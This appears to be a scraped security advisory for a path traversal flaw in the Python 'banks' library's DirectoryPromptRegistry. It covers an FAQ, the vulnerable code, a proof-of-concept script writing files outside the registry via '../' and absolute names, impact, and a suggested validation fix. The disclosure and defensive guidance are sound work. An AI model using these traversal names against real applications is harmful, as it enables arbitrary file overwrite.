GHSA-x8wg-4xgc-vr54: Path Traversal

Q: Which applications are exposed to this issue?

Applications using the DirectoryPromptRegistry are exposed if they derive a Prompt.name from request data or another attacker-controllable source. The issue affects writes through DirectoryPromptRegistry.set().

Q: What does an attacker need to exploit it?

An attacker needs control over the prompt name supplied to the registry. A relative name such as "../victim/foo" can escape the registry directory, while an absolute path causes the configured registry root to be discarded.

Q: Can this overwrite existing files or persist after the initial write?

Yes. When overwrite=True is used, an existing file at the attacker-selected target path can be replaced. The supplied name is also stored in index.json, causing the out-of-root path to be reconstructed during later _load() calls.

Published Sep 2, 2026

Updated

Summary

DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.

Details

src/banks/registries/directory.py:44

python promptfile = path / f"{prompt.name}.{prompt.version}.jinja" promptfile.writetext(prompt.raw)

Two failure modes:

1. Relative traversal. name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja — outside the configured root. 2. Absolute-path bypass. pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.

The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.

Proof of Concept

python import tempfile from pathlib import Path from banks import Prompt from banks.registries import DirectoryPromptRegistry

work = Path(tempfile.mkdtemp()) registry = work / "registry"; registry.mkdir() victim = work / "victim"; victim.mkdir()

reg = DirectoryPromptRegistry(str(registry))

(1) Relative traversal reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0")) print((victim / "pwned.0.jinja").readtext()) # 'pwn'

(2) Absolute-path bypass — registry root is silently discarded target = victim / "absolutepwn" reg.set(prompt=Prompt("abs pwn", name=str(target), version="0")) print((victim / "absolutepwn.0.jinja").readtext()) # 'abs pwn'

(3) Clobber an existing file existing = victim / "clobberme" existing.writetext("ORIGINAL\n") reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"), overwrite=True) print((victim / "clobberme.0.jinja").readtext()) # 'CLOBBERED'

Output (verified on banks==2.4.2):

pwn abs pwn CLOBBERED

testsandboxbaseline.py

registrypathtraversal.py

registrypathtraversalv2.py

Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.

Impact

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Suggested Fix

Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

python src/banks/registries/directory.py import re

NAMERE = re.compile(r"[A-Za-z0-9.-]+")

@classmethod def frompromptpath(cls, prompt, path): if not NAMERE.fullmatch(prompt.name or ""): raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}") if not NAMERE.fullmatch(prompt.version or ""): raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")

candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve() if candidate.parent != path.resolve(): raise InvalidPromptError( f"Prompt path escapes registry root: {candidate}" )

candidate.writetext(prompt.raw) return cls( text=prompt.raw, name=prompt.name, version=prompt.version, metadata=prompt.metadata, path=candidate, )

The same enforcement should run inside load() and getpromptfile() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

Affected Software

1 affected componentFixes available

pip/banks<2.4.5

2.4.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

Upgrade
Upgrade pip/banks to a version that resolves this vulnerability.
Fixed in 2.4.5
Configuration
In DirectoryPromptRegistry.set(), reject any Prompt with prompt.name or prompt.version that fails _NAME_RE.fullmatch(prompt.name or "") / _NAME_RE.fullmatch(prompt.version or ""). Add the same enforcement in _load() and _get_prompt_file() to prevent a poisoned index.json from continuing to escape the registry root after upgrade.
banks DirectoryPromptRegistry (src/banks/registries/directory.py) Name/version validation for prompt.path construction = Use _NAME_RE = re.compile(r"[A-Za-z0-9._-]+") with fullmatch for both prompt.name and prompt.version (and reject empty name/version when required by the check).
Configuration
After computing candidate and calling .resolve(), verify candidate.parent == path.resolve(). If it does not, raise InvalidPromptError (e.g., 'Prompt path escapes registry root'). This prevents absolute-path bypass (e.g., name='/abs/path' causing registry root discard) and relative traversal that writes outside the configured directory.
banks DirectoryPromptRegistry (src/banks/registries/directory.py) Registry root escape prevention after canonicalization = Enforce candidate.parent == path.resolve() (after candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()).
Operational
If overwrite=True was used during exploitation, remediate any clobbered files (for example, templates/config artifacts written outside the registry) before relying on the application again.

Event History

Sep 2, 2026

Advisory Published

via GitHub·02:38 PM

Data Sourced

via GitHub·02:38 PM

DescriptionWeaknessAffected Software

Frequently Asked Questions

Which applications are exposed to this issue?

Applications using the DirectoryPromptRegistry are exposed if they derive a Prompt.name from request data or another attacker-controllable source. The issue affects writes through DirectoryPromptRegistry.set().

What does an attacker need to exploit it?